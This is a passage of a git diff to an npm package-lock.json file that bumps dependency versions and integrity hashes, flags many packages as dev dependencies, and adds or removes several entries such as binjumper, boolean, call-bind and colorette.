"https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.0.tgz", + "integrity": "sha512-zZyi7p3BCUyzNxLx8KV61zTINkkV65zVkDAFNZmrTCRVhjo1jAS+YLvDJ9Jgd/w2tsAviCwFHReYfxO3Iql8Yg==", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.2.0", + "core-js-compat": "^3.9.1" + } + }, + "babel-plugin-polyfill-regenerator": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.0.tgz", + "integrity": "sha512-J7vKbCuD2Xi/eEHxquHN14bXAW9CXtecwuLrOIDJtcZzTaPzV1VdEfoUf9AzcRBMolKUQKM9/GVojeh0hFiqMg==", + "dev": true, + "requires": { + "@babel/helper-define-polyfill-provider": "^0.2.0" + } + }, "babel-plugin-syntax-jsx": { "version": "6.18.0", "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", @@ -2906,7 +5508,8 @@ "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", + "dev": true }, "base": { "version": "0.11.2", @@ -2983,6 +5586,7 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dev": true, "requires": { "tweetnacl": "^0.14.3" } @@ -3008,6 +5612,12 @@ "file-uri-to-path": "1.0.0" } }, + "binjumper": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/binjumper/-/binjumper-0.1.4.tgz", + "integrity": "sha512-Gdxhj+U295tIM6cO4bJO1jsvSjBVHNpj2o/OwW7pqDEtaqF6KdOxjtbo93jMMKAkP7+u09+bV8DhSqjIv4qR3w==", + "dev": true + }, "biskviit": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", @@ -3017,9 +5627,10 @@ } }, "bl": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", - "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dev": true, "requires": { "buffer": "^5.5.0", "inherits": "^2.0.4", @@ -3030,6 +5641,7 @@ "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -3054,9 +5666,9 @@ "dev": true }, "bn.js": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.1.1.tgz", - "integrity": "sha512-IUTD/REb78Z2eodka1QZyyEk66pciRcP6Sroka0aI3tG/iwIdYLrBD62RsubR7vqdt3WyX8p4jxeatzmRSphtA==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.0.tgz", + "integrity": "sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw==", "dev": true }, "body-parser": { @@ -3111,15 +5723,22 @@ "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", "dev": true }, + "boolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.3.tgz", + "integrity": "sha512-EqrTKXQX6Z3A2nRmMEIlAIfjQOgFnVO2nqZGpbcsPnYGWBwpFqzlrozU1dy+S2iqfYDLh26ef4KrgTxu9xQrxA==", + "dev": true + }, "bootstrap": { - "version": "4.5.2", - "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.2.tgz", - "integrity": "sha512-vlGn0bcySYl/iV+BGA544JkkZP5LB3jsmkeKLFQakCOwCM3AOk7VkldBz4jrzSe+Z0Ezn99NVXa1o45cQY4R6A==" + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz", + "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==" }, "boxen": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/boxen/-/boxen-4.2.0.tgz", "integrity": "sha512-eB4uT9RGzg2odpER62bBwSLvUeGC+WbRjjyyFhGsKnc8wp/m0+hQsMUvUe3H2V0D5vw0nBdO1hCJoZo5mKeuIQ==", + "dev": true, "requires": { "ansi-align": "^3.0.0", "camelcase": "^5.3.1", @@ -3134,26 +5753,29 @@ "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==" + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true }, "chalk": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -3163,6 +5785,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -3170,27 +5793,32 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true }, "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", @@ -3201,6 +5829,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, "requires": { "ansi-regex": "^5.0.0" } @@ -3209,6 +5838,7 @@ "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -3219,6 +5849,7 @@ "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -3297,37 +5928,30 @@ } }, "browserify-rsa": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", - "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.0.tgz", + "integrity": "sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==", "dev": true, "requires": { - "bn.js": "^4.1.0", + "bn.js": "^5.0.0", "randombytes": "^2.0.1" - }, - "dependencies": { - "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", - "dev": true - } } }, "browserify-sign": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.1.0.tgz", - "integrity": "sha512-VYxo7cDCeYUoBZ0ZCy4UyEUCP3smyBd4DRQM5nrFS1jJjPJjX7rP3oLRpPoWfkhQfyJ0I9ZbHbKafrFD/SGlrg==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz", + "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==", "dev": true, "requires": { "bn.js": "^5.1.1", "browserify-rsa": "^4.0.1", "create-hash": "^1.2.0", "create-hmac": "^1.1.7", - "elliptic": "^6.5.2", + "elliptic": "^6.5.3", "inherits": "^2.0.4", "parse-asn1": "^5.1.5", - "readable-stream": "^3.6.0" + "readable-stream": "^3.6.0", + "safe-buffer": "^5.2.0" }, "dependencies": { "readable-stream": { @@ -3340,43 +5964,52 @@ "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true } } }, "browserify-zlib": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", - "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz", + "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=", "dev": true, "requires": { - "pako": "~1.0.5" + "pako": "~0.2.0" } }, "browserslist": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.12.0.tgz", - "integrity": "sha512-UH2GkcEDSI0k/lRkuDSzFl9ZZ87skSy9w2XAn1MsZnL+4c4rqbBd3e82UWHbYDpztABrPBhZsTEeuxVfHppqDg==", + "version": "4.16.4", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.4.tgz", + "integrity": "sha512-d7rCxYV8I9kj41RH8UKYnvDYCRENUlHRgyXy/Rhr/1BaeLGfiCptEdFE8MIrvGfWbBFNjVYx76SQWvNX1j+/cQ==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30001043", - "electron-to-chromium": "^1.3.413", - "node-releases": "^1.1.53", - "pkg-up": "^2.0.0" + "caniuse-lite": "^1.0.30001208", + "colorette": "^1.2.2", + "electron-to-chromium": "^1.3.712", + "escalade": "^3.1.1", + "node-releases": "^1.1.71" } }, "buffer": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", - "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" } }, "buffer-from": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", - "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true }, "buffer-indexof": { "version": "1.1.1", @@ -3425,6 +6058,12 @@ "y18n": "^4.0.0" }, "dependencies": { + "chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true + }, "lru-cache": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", @@ -3460,14 +6099,16 @@ } }, "cacheable-lookup": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.3.tgz", - "integrity": "sha512-W+JBqF9SWe18A72XFzN/V/CULFzPm7sBXzzR6ekkE+3tLG72wFZrBiBZhrZuDoYexop4PHJVdFAKb/Nj9+tm9w==" + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", + "dev": true }, "cacheable-request": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.1.tgz", "integrity": "sha512-lt0mJ6YAnsrBErpTMWeu5kl/tg9xMAWjavYTN6VQXM1A/teBITuNcccXsCxF0tDQQJf9DfAaX5O4e0zp0KlfZw==", + "dev": true, "requires": { "clone-response": "^1.0.2", "get-stream": "^5.1.0", @@ -3482,12 +6123,23 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, "requires": { "pump": "^3.0.0" } } } }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, "callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", @@ -3506,7 +6158,8 @@ "camelcase": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=" + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", + "dev": true }, "camelcase-keys": { "version": "2.1.0", @@ -3519,9 +6172,9 @@ } }, "caniuse-lite": { - "version": "1.0.30001055", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001055.tgz", - "integrity": "sha512-MbwsBmKrBSKIWldfdIagO5OJWZclpJtS4h0Jrk/4HFrXJxTdVdH23Fd+xCiHriVGvYcWyW8mR/CPsYajlH8Iuw==", + "version": "1.0.30001208", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001208.tgz", + "integrity": "sha512-OE5UE4+nBOro8Dyvv0lfx+SRtfVIOM9uhKqFmJeUbGriqhhStgp1A0OyBpgy3OUF8AhYCT+PVwPC1gMl2ZcQMA==", "dev": true }, "caseless": { @@ -3530,12 +6183,6 @@ "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", "dev": true }, - "ccount": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.0.5.tgz", - "integrity": "sha512-MOli1W+nfbPLlKEhInaxhRdp7KVLFxLN5ykwzHgLsLI3H3gs5jjFAK4Eoj3OzzcxCtumDaI8onoVDeQyWaNTkw==", - "dev": true - }, "chalk": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", @@ -3552,12 +6199,6 @@ "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==", "dev": true }, - "character-entities-html4": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz", - "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g==", - "dev": true - }, "character-entities-legacy": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", @@ -3573,12 +6214,14 @@ "chardet": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", - "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==" + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true }, "child-process": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/child-process/-/child-process-1.0.2.tgz", - "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I=" + "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I=", + "dev": true }, "chokidar": { "version": "2.1.8", @@ -3601,24 +6244,22 @@ } }, "chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", "dev": true }, "chrome-trace-event": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", - "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "dev": true }, "ci-info": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", - "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==" + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", + "dev": true }, "cipher-base": { "version": "1.0.4", @@ -3675,10 +6316,17 @@ } } }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true + }, "cli-boxes": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz", - "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==" + "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==", + "dev": true }, "cli-cursor": { "version": "3.1.0", @@ -3692,17 +6340,26 @@ "cli-spinner": { "version": "0.2.10", "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz", - "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==" + "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==", + "dev": true + }, + "cli-spinners": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.6.0.tgz", + "integrity": "sha512-t+4/y50K/+4xcCRosKkA7W4gTr1MySvLV0q+PxmG7FJ5g+66ChKurYjxBCjHggHH3HA5Hh9cy+lcUGWDqVH+4Q==", + "dev": true }, "cli-width": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz", - "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==" + "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", + "dev": true }, "clipanion": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz", - "integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw==" + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.6.2.tgz", + "integrity": "sha512-0tOHJNMF9+4R3qcbBL+4IxLErpaYSYvzs10aXuECDbZdJOuJHdagJMAqvLdeaUQTI/o2uSCDRpet6ywDiKOAYw==", + "dev": true }, "cliui": { "version": "5.0.0", @@ -3749,6 +6406,12 @@ } } }, + "clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", + "dev": true + }, "clone-deep": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", @@ -3773,24 +6436,15 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "dev": true, "requires": { "mimic-response": "^1.0.0" } }, - "co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=" - }, "code-point-at": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=" - }, - "collapse-white-space": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-1.0.6.tgz", - "integrity": "sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ==", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", "dev": true }, "collection-visit": { @@ -3816,6 +6470,12 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, + "colorette": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.2.tgz", + "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==", + "dev": true + }, 